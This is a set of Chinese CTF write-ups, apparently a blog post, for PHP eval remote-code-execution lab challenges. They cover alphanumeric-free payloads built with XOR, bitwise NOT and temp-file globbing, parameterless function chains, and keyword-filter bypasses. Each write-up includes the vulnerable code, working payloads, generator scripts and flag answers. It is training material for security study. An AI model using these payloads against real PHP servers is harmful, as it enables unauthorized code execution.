有回显代码执行-无字母数字RCE进阶PHP5

[题目信息]:

题目名称题目难度
有回显代码执行-无字母数字RCE进阶PHP53

[题目考点]:

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

SangFor{1o4rk7tGBo-2u9G_IRGTJC73hptLqXtu}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:5015

[题目writeup]:

1、实验主页

uploading.4e448015.gif

正在上传…重新上传取消

2、使用dirsearch扫描网站目录

python dirsearch.py -u http://分配ip/ -e php -t 20

flag.php文件存在。

3、代码分析

 <?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

php5环境并不支持php代码(‘phpinfo’)();的执行方式。

  1. 通过向任意php文件发送数据包,产生临时文件;
  2. linux系统中可以通过”. /xxx“执行任意脚本;
  3. 闭合PHP文件,反引号执行代码绕过任意字符和数字;?><?=``?>
  4. 通过通配符?匹配php缓存文件;

那么这样,即可以在同一次请求过程中产生缓存文件,并执行脚本。

临时文件产生

给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

import requests
url = "http://192.168.25.6:5015/index.php"
data = None
files = {
	"field1" : ("png", open("C:/Users/czy/Desktop/xxx.png", "rb")), 
 }
proxies = { 
              "http"  : "http://localhost:8080"
            }
r = requests.post(url, data, files=files,proxies=proxies)

该python脚本通过8080端口代理向PHP发送文件;使用burp截断获取上传文件数据包;

点号执行任意脚本

  1. .号在linux下可以执行任意文件,例如 “. /tmp/1.sh”,不需要文件有可执行权限
  2. 向任意的php文件上传文件,默认会在tmp目录下生成临时文件,格式为phpxxxxxx,后6位为任意随机字母
  3. Linux下的glob通配符,*可以代替0个及以上任意字符,?可以代表1个任意字符

现在,我们的目标就很明确,在上传任意文件的同时,使用通配符匹配生成的缓存文件,并用点号执行。

/???/???去匹配/tmp/phpxxxxxx文件。

够匹配上/???/?????????这个通配符的文件有很多;

在linux下的通配符支持正则匹配,所有文件名都是小写,只有PHP生成的临时文件包含大写字母。

翻开ascii码表,可见大写字母位于@[之间:

我们可以利用[@-[]来表示大写字母:

payload:

?code=?><?=`.+/???/???????[%40-[]?`;?>

在本题目环境实际使用的过程中,直接 <?= 还是不够的,需要先?>把前面的 <?php 给闭合掉才可以:

?cmd=?><?=`ls`;

最后将payload的关键字符进行url编码;








[题目信息]:

题目名称题目难度
有回显代码执行-无字母数字RCE2

[题目考点]:

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

SangFor{OfabB_RclyShHwXmDu-i1rK9JeYbyUdU}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:5013

[题目writeup]:

1、实验主页

2、使用dirsearch扫描网站目录

python dirsearch.py -u http://分配ip/ -e php -t 20

flag.php文件存在。

3、代码分析

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
    eval($_GET['shell']);
show_source(__FILE__);
}

正则表达式如果匹配到数字和字母即不会进入if函数,执行eval();

既然不允许传入参数中出现字母和数字,那解题思路需要用非数字或者字母表示字母;

  1. 异或
  2. 取反
  3. %ff取反

可以采用以上三种方式进行绕过;

异或payload:

我们想要得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可

例如,我们想执行phpinfo();

?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); 
#$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); 
#$__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

取反payload:

取反就是将数字转化为二进制,再把二进制中的1变成0,0变成1

通过取出UTF-8编码的汉字的某一位进行取反操作,比如'和'{2}的结果是"\x8c",其取反即为字母s:进行取反即为字母’s’;

?shell=$__=('>'>'<')%2b('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;$____($_[$__]);

0XFF:

任何字符与 0xff 异或都会取相反,这样就能减少运算量了。  PHP 的 use of undefined constant 特性。例如${_GET}{a}这样的语句 PHP 是不会判为错误的,因为{}是用来界定变量的,这句话就是会将_GET自动看为字符串,也就是$_GET['a']。${_GET}{%ff}后面那个()为的是能够动态执行传入的 PHP 函数
${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo
${~%A0%B8%BA%AB}{%ff}(~%88%97%90%9E%92%96);&%ff=system
~%A0%B8%BA%AB <==>  _GET  
~%88%97%90%9E%92%96 <==> whoami 的取反

payload脚本:

code = input("请输入命令:")
hexCode = [hex(ord(i)^0xff) for i in code]
result = "".join(hexCode).replace('0x','%')
print("${~%A0%B8%BA%AB}{%ff}(~"+result+");&%ff=system")







[题目信息]:

题目名称题目难度
有回显代码执行-无字母数字RCE进阶3

[题目考点]:

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

SangFor{0ozX7FNlCZV5XG82d_PWOOMhMl-8FxFE}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:5014

[题目writeup]:

1、实验主页

2、使用dirsearch扫描网站目录

python dirsearch.py -u http://分配ip/ -e php -t 20

flag.php文件存在。

3、代码分析

 <?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

与上一题目不同之处在与,该题目在数字和字母的基础上又过滤了‘_’和‘$’符号;

无法使用上一题目payload中的$符号;

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

使用该脚本获取取反字符

code = input("请输入命令:")
hexCode = [hex(ord(i) ^ 0xff) for i in code]
result = "".join(hexCode).replace('0x', '%')
print("~"+result)

payload

?code=(~%8f%97%8f%96%91%99%90)();

?code=(~%8c%86%8c%8b%9a%92)(~%88%97%90%9e%92%96);








[题目信息]:

题目名称题目难度
有回显代码执行-无参数RCE3

[题目考点]:

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

SangFor{Ah-w-9nngLv5ca145ia6rdPL4dkztlDP}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:5012

[题目writeup]:

1、实验主页

2、使用dirsearch扫描网站目录

python dirsearch.py -u http://分配ip/ -e php -t 20

flag.php文件存在。

3、代码分析

<?php
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
}
show_source(__FILE__);

preg_replace正则替换函数

字符行为示例
?零次或一次匹配前面的字符或子表达式,等效于{0,1} 当 ? 紧随任何其他限定符(*、+、?、{n}、{n,} 或 {n,m})之后时,匹配模式是非贪婪的。非贪婪模式匹配搜索到的、尽可能少的字符串,而默认的贪婪模式匹配搜索到的、尽可能多的字符串zo? 与“z”和“zo”匹配,但与“zoo”不匹配 o+? 只与“oooo”中的单个“o”匹配,而 o+ 与所有“o”匹配 do(es)? 与“do”或“does”中的“do”匹配
^匹配搜索字符串开始的位置。如果标志中包括 m(多行搜索)字符,^ 还将匹配 \n 或 \r 后面的位置。如果将 ^ 用作括号表达式中的第一个字符,就会对字符集取反^\d{3} 与搜索字符串开始处的 3 个字符匹配 [^abc] 与除 a、b、c 以外的任何字符匹配
\W与除 A-Z、a-z、0-9 和下划线以外的任意字符匹配,等效于[^A-Za-z0-9]在搜索字符串“The quick brown fox…”中,\W+ 与“…”和所有空格匹配
/[^\W]+\((?R)?\)/
(?R) matches the entire pattern
? matches the previous token between zero and one times, as many times as possible。

该正则表达式会匹配无参数的函数,以及无参数函数中嵌套多个无参数函数;

';' === preg_replace('/[^\W]+\((?R)?\)/'

匹配过后,会将匹配内容替换为空,由于是代码执行,传入的值最后会以分号“;”结束,因此当分号===分号时进入eval函数。


?code=phpinfo();可以执行,符合正则匹配,但无法获取flag值;

【payload】

常用无参数函数

getallheaders() #获取全部 HTTP 请求头信息

get_defined_vars() #返回由所有已定义变量所组成的数组

getenv() #获取一个环境变量的值 (在PHP7.1之后可以不给予参数)

session_id() # 获取/设置当前会话 ID

getcwd() #取得当前工作目录

dirname() #返回路径中的目录部分

chdir() #改变目录

数组函数

end() - 将内部指针指向数组中的最后一个元素,并输出;

next() - 将内部指针指向数组中的下一个元素,并输出;

prev() - 将内部指针指向数组中的上一个元素,并输出;

reset() - 将内部指针指向数组中的第一个元素,并输出;

each() - 返回当前元素的键名和键值,并将内部指针向前移动;

current() -输出数组中的当前元素的值;

1、?code=eval(end(current(get_defined_vars())));&czy=system('tac%09flag.php');
2、eval(next(getallheaders()));

3、eval(hex2bin(session_id(session_start())));
706870696e666f28293b #phpinfo();的16进制

其他目录操作

  • getchwd() :函数返回当前工作目录。
  • scandir() :函数返回指定目录中的文件和目录的数组。
  • dirname() :函数返回路径中的目录部分。
  • chdir() :函数改变当前的目录。
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));  //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));  //查看和读取根目录文件
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));  //查看和读取根目录文件






[题目信息]:

题目名称题目难度
有回显代码执行-flag关键字绕过1

[题目考点]:

远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

以下是可能会造成任意命令执行的函数

system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert

[Flag格式]:

SangFor{-t9eBjeAe255gHemgxAgKZsNmJL6YsIy}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:5006

[题目writeup]:

1、实验主页

2、使用dirsearch扫描网站目录

python dirsearch.py -u http://分配ip/ -e php -t 20

3、扫描到文件flag.php,通过代码内容获取flag.php中的内容;

4、代码分析

 <?PHP
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){           
        eval($c);          #1
    }

}else{
highlight_file(FILE);
}
?>

#1处,主要与上一道题目不同之处,调用php eval函数而不是system函数;

eval — 把字符串作为PHP代码执行;

例如:eval(‘system(“ls”);’);

填入的内容:?c=system(“ls”);

最后分号满足php代码格式;

可以利用上题中的各种方式尝试绕过;

【payload】

?c=system("cat /fla'g'");

  • 21
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值